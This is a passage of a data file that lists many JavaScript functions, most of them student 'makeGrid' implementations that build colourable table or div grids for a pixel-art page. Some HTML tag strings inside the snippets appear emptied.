    \");\n drawOnCanvas(getColor());\n}","function makeGrid() {\n removeGrid();\n let rows = gridHeight.val();\n let columns = gridWidth.val();\n //Add Row to the Table\n for (let addRow = 0; addRow < rows; addRow++) {\n grid.append('');\n };\n //Add column to the table\n for (let addColumn = 0; addColumn < columns; addColumn++) {\n $(\"tr\").each(function() {\n $(this).append('');\n });\n }\n}","function makeGrid() {\nconst gridHeight = document.getElementById(\"inputHeight\").value;\nconst gridWidth = document.getElementById(\"inputWidth\").value;\nconst pixelCanvas = document.getElementById(\"pixel_Canvas\"); \npixelCanvas.innerText=\"\"; // empty table \n\nfor (let h=0; h (row) for each number on our height input\n for (var row = 0; row < Height; row++) {\n let newrow = tableplace.insertRow(row);\n// 4. We do a loop, inside the loop of step 4, to create a new column for each number on the input width\n for (var columns = 0; columns < Widht; columns++) {\n let newcell = newrow.insertCell(columns);\n //With this function Im going to let the user colored and specific square\n newcell.addEventListener(\"click\", function () {\n newcell.style.backgroundColor = color.value\n })\n }\n }\nevent1.preventDefault();\n}","function makeGrid() {\n\n// Your code goes here!\n\n const height = $(\"#input_height\").val();\n const width = $(\"#input_width\").val();\n const table = $(\"#pixel_canvas\");\n\n // Remove previous table\n table.children().remove();\n\n // Set the table\n for(let r = 0; r < height; r++ ){\n let tr = document.createElement(\"tr\");\n table.append(tr);\n\n for(let w = 0; w < width; w++){\n let td = document.createElement(\"td\");\n tr.append(td);\n }\n\n }\n\n // Submit the form and call function to set the grid\n $(\"#sizePicker\").submit(function(event){\n event.preventDefault();\n makeGrid();\n });\n\n // Declare clickable mouse event\n let mouseDown = false;\n\n $(\"td\").mousedown(function(event){\n mouseDown = true;\n const color = $(\"#colorPicker\").val();\n $(this).css(\"background\", color);\n // Mouse drag for drawing\n $(\"td\").mousemove(function(event){\n event.preventDefault();\n // Check if mouse is clicked and being held\n if(mouseDown === true){\n $(this).css(\"background\",color);\n }else{\n mouseDown = false;\n } \n });\n });\n\n // Mouse click release\n $(\"td\").mouseup(function(){\n mouseDown = false;\n });\n\n // Disable dragging when the pointer is outside the table\n $(\"#pixel_canvas\").mouseleave(\"td\",function(){\n mouseDown = false;\n });\n}","function insertTableCells(){\n const pixelCanvas = document.getElementById('pixelCanvas');\n const heightInput = document.getElementById('inputHeight');\n const widthInput = document.getElementById('inputWidth');\n\n for (let row = 0; row < heightInput.value; row++){\n tr = document.createElement('tr');\n trList.push(tr); // will add rows to trList to use them in cleanGrid\n pixelCanvas.appendChild(tr);\n for (let column = 0; column < widthInput.value; column++) {\n td = document.createElement('td');\n tr.appendChild(td);\n }\n }\n}","function makeGrid() {\n\tfor (y = 0; y < sizeY; y++ ){\n\t\t$('#pixelCanvas').append('');\n\t\t\tfor(x = 0; x< sizeX; x++ ){\n\t\t\t\t$('#pixelCanvas tr:last-child').append('');\n\t\t\t}\n\t\t$('#pixelCanvas').append('');\n\t}\n}","function makeGrid() {\n\tconst inputHeight = document.getElementById('inputHeight').value;//get the height value given by the user\n\tconst inputWidth = document.getElementById('inputWidth').value;//get the width value given by the user\n\tconst pixelCanvas = document.getElementById('pixelCanvas');// create a variable for the table\n pixelCanvas.innerHTML = \"\";//create a table. also reset the table after a new submit\n for (let x = 0; x < inputHeight; x++) {\n var row = document.createElement('tr');\n pixelCanvas.appendChild(row);//insert new element row in the table \n for (let y = 0; y < inputWidth; y++) {\n var column = document.createElement('td');\n row.appendChild(column); // insert new element column in the table\n\t\t\tcolumn.addEventListener('mousedown', function(e) { //implement clickListener on the td element\n \t\t\tlet color = document.getElementById('colorPicker').value;// get the color that the user has selected. i use let so that the color changes everytime the user choose a new one.\n \t\te.target.style.backgroundColor = color; // paint the td with the color\n\t\t\t})\n }\n }\n}","function makeGrid() {\n\n\t// Your code goes here!\n\t\n\tlet submit = $('input[type=\"submit\"]');\n\tlet canvas = $('#pixelCanvas');\n\tlet colorPicker = $('#colorPicker');\n\n\tsubmit.on('click', function(e){\n\t\te.preventDefault();\n\t\tcanvas.empty();\n\t\tlet height = $('#inputHeight').val();\n\t\tlet width = $('#inputWeight').val();\n\t\tconsole.log(height);\n\t\tconsole.log(width);\n\t\taddRows(height, width);\n\t});\n\t\n\tfunction addRows(height,width){\n\t\tfor(var i=0; i < height; i++) {\n\t\t\tcanvas.append('');\n\t\t}addColumns(width);\n\t}\n\t\n\tfunction addColumns(width){\n\t\tfor(var i=0; i ',{class:'cells'});\n\t\t\n\t\t\tcell.on('click',function(e){\n\t\t\t\te.preventDefault()\n\t\t\t\tlet color = colorPicker.val();\n\t\t\t\t$(this).css('background-color', color);\n\t\t\t});\n\n\t\t\t$('tr').append(cell);\n\t\t}\n\t}\n\n\t$('#clear').on('click', function(e){\n\t\te.preventDefault();\n\t\t$('.cells').css('background-color','');\n\t})\n}","function makeGrid() {\n canvas.find('tbody').remove();\n\n //submit button size changes to fit grid size\n var gridRows = heightInput.val();\n var gridCol = weightInput.val();\n\n //tbody set to the table\n canvas.append('');\n\n var canvasBody = canvas.find('tbody');\n\n //drawing grid rows\n for (var i = 0; i < gridRows; i++) {\n canvasBody.append('');\n }\n\n //draw grid col\n for (var i = 0; i < gridCol; i++) {\n canvas.find('tr').append('');\n }\n }","function makeGrid() {\n // prevent submit button from reloading page\n event.preventDefault();\n const grid = document.querySelector(\"table\");\n // clear any previously created table\n grid.innerHTML = \"\";\n // get the users size input\n const size = getSize();\n const width = size[0];\n const height = size[1];\n for (let y = 0; y < height; y++) {\n // table row is intitialized inside the for loop so as to create a different in each loop\n const tableRow = document.createElement(\"tr\");\n grid.appendChild(tableRow);\n for (let x = 0; x < width; x++) {\n const tableColumn = document.createElement(\"td\");\n tableRow.appendChild(tableColumn);\n }\n }\n grid.addEventListener(\"click\", setCellColor);\n}","function makeGrid(height, width) {//takes the width and height input from the user\r\n $('tr').remove(); //remove previous table if any\r\n for(var i =1; i<=width;i++){\r\n $('#pixelCanvas').append('');//the tableid plus table data\r\n for (var j =1; j <=height; j++){\r\n $('#table' + i).append('');\n };\n \n let trs = document.querySelectorAll(\"tr\");\n console.log(`trs.length is ${trs.length}`);\n for (let i = 0 ; i < gridWidth ; i++) { \n console.log(`before building column ${i} of ${gridWidth}`);\n \n for (let tr = 0; tr < trs.length; tr++) {\n console.log(`before building on tr ${tr} of ${trs.length}`);\n trs[tr].insertAdjacentHTML('beforeend', '');\n }\n }\n \n // creates the css background color decided before submit grid creation\n console.log(`background color is ${backgroundColor}`);\n //create variable for all cells\n let gridCells = document.querySelectorAll(\"td\");\n //paint all cells of the grid iterating through the nodelist gridCells\n for (let gridCell = 0; gridCell < gridCells.length; gridCell++) {\n console.log(`painting BG gridCell ${gridCell} of ${gridCells.length}`);\n gridCells[gridCell].style.backgroundColor = backgroundColor;\n }\n \n }","function makeGrid(HEIGHT,WIDTH) {\n\n// Your code goes here!\nfor (let i = 0; i < HEIGHT; i++) {\n $PCANVA.append('');\n };\n\n for (let i = 0; i < WIDTH; i++) {\n $('tr').append('');\n };\n}","function drawGrid() {\n noFill();\n stroke(230, 50);\n strokeWeight(2);\n\n for (let j = 0; j < config.numRows; j++) {\n for (let i = 0; i < config.numCols; i++) {\n rect(i * colWidth, j * rowHeight, colWidth, rowHeight)\n }\n }\n }","function makeGrid() {\n //remove previous table if exists\n $('#gridTable').remove();\n const height = document.getElementById('input_height').value;\n const width = document.getElementById('input_width').value;\n\n\n // create table\n const table = document.createElement('table');\n table.id = \"gridTable\";\n\n // add rows and columns to the table\n for (let i = 0; i < height; ++i) {\n const row = table.insertRow(i);\n for (let j = 0; j < width; ++j) {\n const cell = row.insertCell(j);\n\n // add event listener to each cell such that\n // it is fillied with selected color when clicked\n cell.addEventListener('click', (e) => {\n changeColor(e);\n });\n }\n }\n\n // append the table to the canvas\n document.getElementById('pixel_canvas').append(table);\n}","function makeGrid(height, width) {\n\n\tfor(var x = 0; x < height; x++){\n\t\tlet row = table.insertRow(x); \n\t\tfor(var y = 0; y < width; y++){\n\t\t\tlet cell = row.insertCell(y);\n\t\t\tcell.addEventListener('click', function(event){\n\t\t\t\tevent.preventDefault();\n\t\t\t\tcell.style.background = penColor.value; \n\t\t\t})\n\t\t}\n\t}\n\n\n}","function makeGrid(height,width) {\n //let row = table.insertRow(0);\n //let cell = row.insertCell(0);\n\n for (let i = 0; i <= height; i++){\n let row = table.insertRow(i); // for the rows\n for (let k = 0; k <= width; k++){\n let cell = row.insertCell(k); // for the columns\n // added eventListeners to each cell\n cell.addEventListener('click', (e) => {\n // to change the color of each cell clicked\n cell.style.backgroundColor = color.value;\n console.log(e);\n });\n \n }\n }\n\n // console.log(height,width);\n // Your code goes here!\n}","function makeGrid() {\n pixelCanvas.innerHTML = \"\";\n for (let i = 0; i < gridHeight;i++) {\n const tr = document.createElement(\"tr\");\n for(let j = 0; j < gridWidth; j++){\n const td = document.createElement(\"td\");\n tr.appendChild(td);\n }\n fragment.appendChild(tr);\n }","function table(size){\r\n\tvar div=document.getElementById(\"div\"); //select the div to draw grid on it\r\n\tvar createTable=document.createElement(\"table\"); \r\n\tdiv.appendChild(createTable); \r\n\tvar rows=[];\r\n\tvar rowsData=[];\r\n\tfor(var i=0;i\");\r\n\t\t createTable.appendChild(rows[i][0]);\r\n\t\t for(var j=0;j\");\r\n tdEle.css(\"width\",\"35px\");\r\n tdEle.css(\"height\",\"15px\");\r\n rowsData.push(tdEle);\r\n\t\t\t rows[i].append(tdEle); \r\n\t\t } \r\n\t}\r\n createTable.setAttribute(\"border\",\"1\");\r\n\tcreateTable.style.width=\"80%\";\r\n\t$(\"td\").on(\"click\",triggerTile); //set click event on the cells of the grid\r\n\treturn rowsData; //return array of cells\r\n}","function drawHlGrid(){\n\tvar obj = gridSize();\n\tvar canvas = document.getElementById('hl_grid');\n\t\n\tvar context = canvas.getContext('2d');\n\tcontext.scale(dpr,dpr);\n\t\n\t//Set the canvas size\n\tcanvas.width = (obj.colWidth * obj.cols+0.5)*dpr;\n\tcanvas.height = (obj.rowHeight*obj.rows+0.5)*dpr;\n\t\n\tcanvas.style.width = `${obj.colWidth * obj.cols+0.5}px`;\n\tcanvas.style.height = `${obj.rowHeight*obj.rows+0.5}px`;\n\tcontext.scale(dpr,dpr);\n\n}","function makeGrid(height, width) {\n\n for (let r = 0; r < height; r++) {\n let row = shape.insertRow(r);\n\n for (let c = 0; c < width; c++) {\n let cell = row.insertCell(c);\n\n cell.addEventListener('click', (event) => {\n cell.style.backgroundColor = chooseColor.value;\n });\n }\n }\n}","function drawgrid(tabinput, xbeg, y, plotwidth, plotheight, xaxistics, majorint) {\n\n var colwidth = plotwidth / tabinput.getRowCount();\n\n stroke(gridstroke);\n strokeWeight(gridweight);\n let x = xbeg;\n // columns\n for (let i = 0; i < xaxistics; i++) {\n if (!(i % majorint)) { strokeWeight(gridweight * 2) };\n line(x, y, x, y - plotheight);\n x += plotwidth / tabinput.getRowCount();\n strokeWeight(gridweight);\n };\n\n strokeWeight(gridweight * 2);\n line(x, y, x, y - plotheight);\n strokeWeight(gridweight);\n x += plotwidth / table.getRowCount();\n\n\n\n // rows\n\n}","function makeGrid() {\n\n// defining variables\n\nvar rowNumber = $('#input_height').val();\nvar colNumber = $('#input_width').val();\nvar table = $('#pixel_canvas');\n\ntable.children().remove();\n\n// adding rows\n\tfor(var i = 0; i < rowNumber; i++) {\n\t\ttable.append(\"\");\n\n\t\t//adding columns\n\t\tfor (var j = 0; j < colNumber; j++) {\n\t\t\ttable.children().last().append(\"\");\n\t\t}\n\t}\n\n// Event Listener table cell click\n\ttable.children().on('click', 'td', function() {\n\t\tvar color = $(\"input[type='color']\").val();\n\t\t$(this).attr('bgcolor', color);\n\t});\n\n// Event Listener table cell doubleclick\n\ttable.children().on('dblclick', 'td', function() {\n\t\t$(this).attr('bgcolor', 'transparent');\n\t});\n\n}","function generateGrid(x) {\n \tfor (var rows = 0; rows < x; rows++) {\n \tfor (var columns = 0; columns < x; columns++) {\n \t$('#container').append(\"
    \");\n };\n };\n $('.cell').width(720/x);\n $('.cell').height(720/x);\n\t\tpaint();\n}","function makeGrid(form) {\n const height = form.input_height.value;\n const width = form.input_width.value;\n $('tr').remove();\n $('table').append(returnTable(height, width));\n}","function makeGrid() {\n\t\tfor(let col = 0; col < gridHeight; col++){\n\t\t\tconst cellRow = $(''); //CREATES TABLE ROWS\n\t\t\tcanvas.append(cellRow);\n\t\t\tfor (let row = 0; row < gridWidth; row++){\n\t\t\t\tconst cell = $('');\n\t\t\t\tcellRow.append(cell);\n\t\t\t};\n\t\t};\n\t}","function drawGrid() {\n let dotCount = Number(inputDotCount.value);\n let dotSize = Number(inputDotSize.value);\n let desiredGridWidth = Number(inputGridWidth.value);\n let columnCount = Math.floor(desiredGridWidth / dotSize);\n\n // dette er bare for å vise ønsket bredde på grid\n // (faktisk bredde styres også av prikkstørrelse)\n widthIndicator.style.width = desiredGridWidth + 'px';\n\n // sette hvor mye man skal øke/minke input-feltet for gridbredde når man bruker pil opp/ned\n inputGridWidth.step = dotSize;\n\n grid.style.gridTemplateColumns = `repeat(${columnCount}, ${dotSize}px)`;\n grid.style.gridAutoRows = dotSize + 'px';\n\n let html = '';\n for (let i = 0; i < dotCount; i++) {\n html += '
    ';\n }\n\n grid.innerHTML = html;\n}","function agpMakeGrid(evt) {\n // turn off the default event processing for the submit event\n evt.preventDefault();\n // reset the default canvas color to white as the default\n document.getElementById(\"colorPicker\").value = \"#ffffff\";\n\n // remove any existing art work\n let agpPixelCanvas=document.getElementById('pixelCanvas');\n while (agpPixelCanvas.hasChildNodes()) {\n agpPixelCanvas.removeChild(agpPixelCanvas.firstChild);\n }\n\n // retrieve the grid heoght and width\n let agpGridHeight=document.getElementById('inputHeight').value;\n let agpGridWidth=document.getElementById('inputWidth').value;\n\n // create the row elements and within those, the individual table cells\n for (var j=0;j
    \").find(\"div:last\").css({\r\n\t\t\t\t\"width\": cell_size,\r\n\t\t\t\t\"height\": cell_size\r\n\t\t\t});\r\n\t\t}\r\n\t\t//end the line\r\n\t\t$(\"#grid\").append(\"
    \");\r\n\t}\r\n}","function makeGrid() {\n let body = $(\"#pixel_canvas\")[0];\n // $(body).html() = \"\";\n rowVal = $(\"#input_height\").val();\n colVal = $(\"#input_width\").val();\n for (let r = 0; r < rowVal; r++) {\n let row = body.insertRow(r);\n for (let c = 0; c < colVal; c++) {\n let cell = row.insertCell(c);\n $(cell).on('click', function(evt) {\n evt.target.style.backgroundColor = $(\"#colorPicker\").val();\n this.style.borderColor = \"#000\";\n });\n }\n }\n return false;\n}","function generateGrid(x = 4, y= 4){\n /* This function will generate a grid of x by y size */\n var html = \"\";\n\n for (let i = 0;i < y; i++) {\n for(let j = 0;j < x; j ++) {\n var content = getValue(i,j);\n if (j == 0){\n if (content == ''){\n html += \"\" + content + \"\";\n }\n else if( content == 2){\n html += \"\"+ content +\"\";\n }\n else if (content == 4){\n html += \"\"+ content +\"\";\n }\n else if (content == 8){\n html += \"\"+ content +\"\";\n }\n else if (content == 16){\n html += \"\"+ content +\"\";\n }\n else if (content == 32){\n html += \"\"+ content +\"\";\n }\n else if (content == 64){\n html += \"\"+ content +\"\";\n }\n else if (content == 128){\n html += \"\"+ content +\"\";\n }\n else if (content == 256){\n html += \"\"+ content +\"\";\n }\n else if (content == 512){\n html += \"\"+ content +\"\";\n }\n else if (content == 1024){\n html += \"\"+ content +\"\";\n }\n else if (content >= 2048){\n html += \"\"+ content +\"\";\n }\n }\n else if (j < x - 1){\n if (content == ''){\n html += \"\" + content + \"\";\n }\n else if( content == 2){\n html += \"\"+ content +\"\";\n }\n else if (content == 4){\n html += \"\"+ content +\"\";\n }\n else if (content == 8){\n html += \"\"+ content +\"\";\n }\n else if (content == 16){\n html += \"\"+ content +\"\";\n }\n else if (content == 32){\n html += \"\"+ content +\"\";\n }\n else if (content == 64){\n html += \"\"+ content +\"\";\n }\n else if (content == 128){\n html += \"\"+ content +\"\";\n }\n else if (content == 256){\n html += \"\"+ content +\"\";\n }\n else if (content == 512){\n html += \"\"+ content +\"\";\n }\n else if (content == 1024){\n html += \"\"+ content +\"\";\n }\n else if (content >= 2048){\n html += \"\"+ content +\"\";\n } \n }\n else if (j == x -1){\n if (content == ''){\n html += \"\" + content + \"\";\n }\n else if( content == 2){\n html += \"\"+ content +\"\";\n }\n else if (content == 4){\n html += \"\"+ content +\"\";\n }\n else if (content == 8){\n html += \"\"+ content +\"\";\n }\n else if (content == 16){\n html += \"\"+ content +\"\";\n }\n else if (content == 32){\n html += \"\"+ content +\"\";\n }\n else if (content == 64){\n html += \"\"+ content +\"\";\n }\n else if (content == 128){\n html += \"\"+ content +\"\";\n }\n else if (content == 256){\n html += \"\"+ content +\"\";\n }\n else if (content == 512){\n html += \"\"+ content +\"\";\n }\n else if (content == 1024){\n html += \"\"+ content +\"\";\n }\n else if (content >= 2048){\n html += \"\"+ content +\"\";\n }\n } \n }\n }\n return html;\n}","function makeGrid() {\n\tevent.preventDefault();\n\tconst height = document.getElementById(\"input_height\").value;\n\tconst width = document.getElementById(\"input_width\").value;\n\tlet table = document.getElementById(\"pixel_canvas\");\n\tconst delELeCell = document.getElementsByClassName(\"cell\");\n\t//console.log(delELeCell.length);\n\tlet k = delELeCell.length - 1;\n\twhile(k >= 0){\n\t\tconst parent = delELeCell[k].parentNode;\n\t\tparent.removeChild(delELeCell[k]);\n\t\tk--;\n\t}\n\n\tconst delRow = document.getElementsByClassName(\"row\");\n\tk = delRow.length - 1;\n\twhile(k >= 0){\n\t\tconst parent = delRow[k].parentNode;\n\t\tparent.removeChild(delRow[k]);\n\t\tk--;\n\t}\n\n\tfor(let i = 0; i < height; i++){\n\t\tconst row = document.createElement(\"tr\");\n\t\trow.setAttribute(\"id\", `row_${i}`);\n\t\trow.setAttribute(\"class\", \"row\");\n\t\ttable.appendChild(row);\n\t\t//const findRow = document.getElementById(`row_${}`)\n\t\tfor(let j = 0; j < width; j++){\n\t\t\tconst column = document.createElement(`td`);\n\t\t\tcolumn.setAttribute(\"id\", `cell_${i}_${j}`);\n\t\t\tcolumn.setAttribute(\"class\", \"cell\");\n\t\t\trow.appendChild(column);\n\t\t}\n\t}\n\tconst buttonLen = document.getElementsByTagName(\"button\");\n\tif(buttonLen.length === 0){\n\t\tconst button = document.createElement(\"button\");\n\t\tconst text = document.createTextNode(\"Reset\");\n\t\tbutton.appendChild(text);\n\t\tdocument.getElementsByTagName(\"body\")[0].appendChild(button);\n\t}\n}","function createGrid(h, v){\n let width = 960 / h;\n for (var i = 1; i <= v * h; i++) {\n var div = document.createElement('div');\n div.className = 'cell';\n div.style.border = 'solid 1px black';\n container.appendChild(div);\n container.appendChild(br);\n }\n cellsEvent();\n container.style.display = 'grid';\n container.style.gridTemplateRows = 'repeat(' + v + ', ' + width + 'px)';\n container.style.gridTemplateColumns = 'repeat(' + h + ', ' + width + 'px)';\n container.style.justifyContent = 'center';\n}","function makeGrid(gridHeight, gridWidth) {\n while (PIXEL_CANVAS.firstChild){\n \tPIXEL_CANVAS.removeChild(PIXEL_CANVAS.firstChild);\n }\n\n //Create the grid rows\n for (let gridRow = 0; gridRow < gridHeight; gridRow++) {\n const newRow = document.createElement('tr');\n PIXEL_CANVAS.appendChild(newRow);\n // insertAdjacentHTML('beforeend', '');\n for (let i = 0; i < gridWidth; i++) {\n const newCell = document.createElement('td');\n newRow.appendChild(newCell);\n }\n }\n}","function makeGrid(height, width) {\n \n// Your code goes here!\n// Create rows and columns\n \n for (let rows = 0; rows < height; rows++) {\n let row = table.insertRow(rows);\n for (var columns = 0; columns < width; columns++) {\n let cell = row.insertCell(columns);\n \n// Allow user to color each, individual cell\n \n cell.addEventListener('click', (e) => { \n let color = document.getElementById('colorPicker');\n cell.style.backgroundColor = color.value;\n });\n }\n }\n}","function makeGrid() {\n gridCanvas.innerHTML = \"\";\n var rowCount = gridHeight.value;\n var cellCount = gridWidth.value;\n for (let r = 0; r < rowCount; r++) {\n var tr = document.createElement(\"tr\");\n gridCanvas.appendChild(tr);\n var newRow = gridCanvas.insertRow(r);\n \n for (let c = 0; c < cellCount; c++) {\n var td = document.createElement(\"td\");\n tr.appendChild(td);\n td.addEventListener('click', fillGrid); //Event listeners are properly added to the grid squares (and not to the border or the table itself).\n var cell = newRow.insertCell(c);\n cell.addEventListener('click', fillGrid);\n }\n }\n}","function makeGrid(x,y) {\n $('#pixel_canvas').empty();\n for(let i=0; i');\n $('#pixel_canvas').append(row);\n for(let j=0; j');\n }\n }\n}","function makeGrid(){\n\n table.innerHTML =''; //czyszczenie tabeli\n\n const fragment = document.createDocumentFragment(); // DocumentFragment wrapper\n\n for(let h = 0; h < gridHeight.value; h++){\n let tr = document.createElement('tr');\n fragment.appendChild(tr);\n for(let w = 0; w < gridWitdh.value; w++){\n let td = document.createElement('td');\n tr.appendChild(td);\n }\n }\n table.appendChild(fragment);\n colorSet();\n colorClick();\n colorRemove();\n}","function makeCells() {\n let rowsI = document.getElementById('rows-input');\n let columnsI = document.getElementById('columns-input');\n let cellAmount = rowsI.value * columnsI.value;\n console.log(rowsI.value);\n console.log(columnsI.value);\n board.style.gridTemplateRows = `repeat(${rowsI.value}, 1fr)`;\n board.style.gridTemplateColumns = `repeat(${columnsI.value}, 1fr)`;\n for (i = 0; i < cellAmount; i++){\n let cell = document.createElement('div');\n cell.className = 'cell';\n cell.id = `cell-${i}`;\n board.appendChild(cell);\n }\n}","function makeGrid(height, width) {\n\n//console.log(height.value, width.value);\n \n//const row = table.insertRow(0);\n//const cell = row.insertCell(0);\n\n// Your code goes here!\nfor(let i = 0; i <= height; i++){\n let row = table.insertRow(i);\n for(let j = 0; j <= width; j++){\n let cell = row.insertCell(j);\n cell.addEventListener('click',(e) => {\n console.log(e);\n cell.style.background = color.value;\n });\n }\n}\n\n}","function makeGrid(h,w) {\n for(let i = 1; i <= h; i++) {\n grid.append(\"\");\n let j = 1;\n while (j <= w){\n $(\"tr\")\n .last()\n .append(\"\");\n j++;\n }\n } \n}","function makeGrid(h,l) {\n // Remove previous grid if any\n $(grid).children().remove();\n // Loops to draw new Grid\n for (i=0 ; i\"); // Add a cell at the end of the current row\n }\n }\n}","function createGrid(width, height) {\n for (let i = 0; i < height; i++) {\n let row = document.createElement('div');\n row.classList.add('row');\n\n for (let x = 0; x < width; x++) {\n let pixel = document.createElement('div');\n pixel.classList.add('pixel');\n row.appendChild(pixel);\n }\n grid.appendChild(row);\n }\n}","function plot(rows = 36, cols = 64) {\n\n /* 'c' will contain the whole generated html rect tags string to change innerhtml of enclosing div */\n /* 'y' will denote the 'y' coordinate where the next grid must be placed */\n let c = \"\", y = 0;\n\n /* Looping for each row */\n for (let i = 0; i < rows; i++) {\n\n /* 'x' is a coordinate denoting where the next grid must be placed */\n var x = 0;\n\n /* For each row we will loop for each column present in the Grid */\n for (let j = 0; j < cols; j++) {\n\n /* 'colr' will store the rest grid color which is dark gray currently */\n let colr = grid_color;\n\n /* If the Rectange present in the grid is on the border side then change the color in order to highlight borders */\n if(i === 0 || j === 0 || i === rows - 1 || j === cols - 1){\n colr = border_color;\n }\n\n /* Creating a rect tag that is appending in 'c' for now and will be updated to innerhtml of enclosing div */\n /* I know you will be wondering about the id given to each rect :-\n * Each rect must be provided with id in order to do anything with the corresponding rect.\n * Operations like coloring the grid as well saving saving any number in corresponding matrix needs an id of the rect.\n * Hence id is important to allot to each rect to make further changes in matrix on which whole algo is based.\n * In order to assing every rect id i decided to allot their corresponding row_number + : + col_number to be as id\n * As with this scenario it is easy to remember and will be unique for every rect tag. \n */\n c += ``;\n\n /* Incrementing the 'x' coordinate as we have width of 30px and hence 'x' coordinate for next rect will be +30 from current pos. */\n x += 30;\n }\n\n /* Incrementing the 'y' coordinate as we have placed sufficient rect in 1 row now need to advance 'y' as height of each rect \n is 30px hence for every rect in next column the y coordinate will be +30*/\n y += 30;\n }\n\n /* At last after creating rect tags using loops, now update innerHtml of enclosing div with id='container'[grid.html] */\n document.getElementById(\"container\").innerHTML = c;\n\n /* I wanted to preplace the Source - coordinate so at rect with id='src_crd' will be coloured green */\n document.getElementById(src_crd).style.fill = \"rgb(0, 255, 0)\";\n matrix[split(src_crd, 0)][split(src_crd, 1)] = 1; /* Update the pos as '1' to denote source location */\n\n /* I wanted to preplace the Destination - coordinate so at rect with id='dst_crd' will be coloured Red */\n document.getElementById(dst_crd).style.fill = \"rgb(255, 0, 0)\";\n matrix[split(dst_crd, 0)][split(dst_crd, 1)] = 2; /* Update the pos as '2' to denote Destination location */\n\n }","function makeGrid() {\n const GRID = $(\"#pixel_canvas\");\n\n // Select size input\n const COLUMNS = $(\"#input_width\").val();\n const ROWS = $(\"#input_height\").val();\n\n // Clears the table\n GRID.children().remove();\n\n // Limit the grid size to avoid browser crash\n if (COLUMNS <= 50 && ROWS <= 50) {\n // Adds new rows\n for (let i = 0; i < ROWS; i++) {\n GRID.append(\"\");\n\n // Adds new columns\n for (let j = 0; j < COLUMNS; j++)\n GRID.children()\n .last()\n .append(\"\");\n }\n }\n\n // Selects the grid tile\n tile = GRID.find(\"td\");\n\n // Allows the interaction with the grid\n tile.click(function() {\n // Selects color input\n let colorPicker;\n color = $(\"#colorPicker\").val();\n $(this).attr(\"bgcolor\", color);\n });\n // Erases single cell color\n tile.on(\"dblclick\", function() {\n let colorPicker;\n color = $(\"#colorPicker\").val();\n $(this).removeAttr(\"bgcolor\");\n });\n\n // Executes the action on the table and allows the color selection\n GRID.on(\"click\", \"td\", function() {\n const COLOR = $(\"input[type = 'color']#colorPicker\").val();\n $(this).attr(\"background-color\", COLOR);\n });\n}","function makeGrid(squaresPerSide) {\n\n //Add div rows(basically tr), to act as rows\n for (var i = 0; i < squaresPerSide; i++) {\n $('#pad').append('
    ');\n }\n\n //Add div squares(basically td), to ever row\n for (var i = 0; i < squaresPerSide; i++) {\n $('.row').append('
    ');\n }\n\n //Set square size= giant grid div divided by sqperside\n var squareDimension = $('#pad').width() / squaresPerSide;\n $('.square').css({\n 'height': squareDimension,\n 'width': squareDimension\n });\n}","drawGrid() {\n\n for (let i = 0; i <= HEIGHT; i += SQUARE_SIDE) {\n line(0, i, WIDTH, i);\n }\n for (let i = 0; i <= WIDTH; i += SQUARE_SIDE) {\n line(i, 0, i, HEIGHT);\n }\n\n }","function grid() {\n\tvar spaceX = 64;\n\tvar spaceY = spaceX;\n\n\tstroke(200);\n\tfor (var i = 64; i < width; i += 64) {\n\t\tline(i, 0, i, height);\n\t}\n\tfor (var i = 64; i < height; i += 64) {\n\t\tline(0, i, width, i);\n\t}\n}","function makeGrid() {\n\n const pixelGrid = document.querySelector('#pixelCanvas');\n\n pixelGrid.innerHTML = ''; //Clears previous grid\n\n inputHeight = document.querySelector('#inputHeight').value;\n inputWidth = document.querySelector('#inputWidth').value;\n\n if (inputHeight > 100) { //Limit grid height\n inputHeight = 100;\n };\n\n if (inputWidth > 100) { //Limit grid width\n inputWidth = 100;\n }\n\n //Get user selected color and set pixel color\n function colorClick() {\n color = document.querySelector('#colorPicker').value;\n event.target.style.backgroundColor = color;\n }\n\n // Build grid based on user form input\n for (var height = 0; height < inputHeight; ++height) { //Loop creates rows\n const newRow = document.createElement('tr');\n pixelGrid.appendChild(newRow);\n for (var width = 0; width < inputWidth; ++width) { //Loop create pixels\n const newPixel = document.createElement('td');\n newRow.appendChild(newPixel);\n newPixel.addEventListener('click', colorClick);//Add click event to pixels\n }\n }\n}","function makeGrid() {\n //variables to get canvas element,height,width\n var table = $(\"#pixelCanvas\");\n var gridHeight = $(\"#inputHeight\");\n var gridWidth = $(\"#inputWeight\");\n table.children().remove();\n for (x = 0; x < gridHeight.val(); x++) {\n table.append('');\n }\n rows = $('tr');\n for (y = 0; y < gridWidth.val(); y++) {\n rows.append('');\n } \n table.on( 'click','td', function() { \n var color = $(\"#colorPicker\"); \n $(this).attr('bgcolor', color.val()); \n });\n}","function makeGrid(x, y) {\n for (var rows = 0; rows < x; rows++) {\n for (var columns = 0; columns < y; columns++) {\n $(\"#container\").append(\"
    \");\n };\n };\n $(\".grid\").height(960/x);\n $(\".grid\").width(960/y);\n}","function makeGrid() {\n $(\"tr\").remove();\n for (var h = 0; h < canvasHeight; h++) {\n var row = \"\";\n for (var w = 0; w < canvasWidth; w++) {\n tdNo++;\n row += '';\n }\n row += \"\";\n\n canvasCtl.append(row);\n }\n}","function generage_grid() {\n\n for (var i = 0; i < rows; i++) {\n $('.grid-container').append('
    ');\n }\n\n\n $('.grid-row').each(function () {\n for (i = 0; i < columns; i++) {\n $(this).append('
    ')\n }\n });\n\n var game_container_height = (34.5 * rows)\n $('.game-container').height(game_container_height);\n var game_container_width = (34.5 * columns)\n $('.game-container').width(game_container_width);\n }","function makeGrid() {\r\n\r\n // Your code goes here!\r\n\r\n // Getting the grid height value from user\r\n const gridHeight = document.getElementById('inputHeight').value;\r\n // Getting the grid width value from user\r\n const gridWidth = document.getElementById('inputWidth').value;\r\n // Canvas table vairable\r\n const tableCanvas = document.getElementById('pixelCanvas');\r\n\r\n // Reset values to start\r\n tableCanvas.innerHTML = '';\r\n\r\n // Loop for inserting the rows\r\n for (let i = 0; i < gridHeight; i++) {\r\n let r = tableCanvas.insertRow(i);\r\n // Nested loop for inserting the cells\r\n for (let j = 0; j < gridWidth; j++) {\r\n let c = r.insertCell(j);\r\n // Action for the cells\r\n c.addEventListener('click', function(action) {\r\n // If the cell was pressed, the background color will change to the selected color\r\n action.target.style.backgroundColor = document.getElementById('colorPicker').value;\r\n });\r\n }\r\n }\r\n \r\n}","function makeGrid(input1, input2) {\n // make the table\n var table = document.getElementById('pixelCanvas');\n //to remove the table if the user decied to make another table\n table.innerHTML = \"\";\n // the loop here for row in table t\n for (var i = 0; i < input1; i++) {\n var row = document.createElement('tr');\n\n // the inner loopp for the 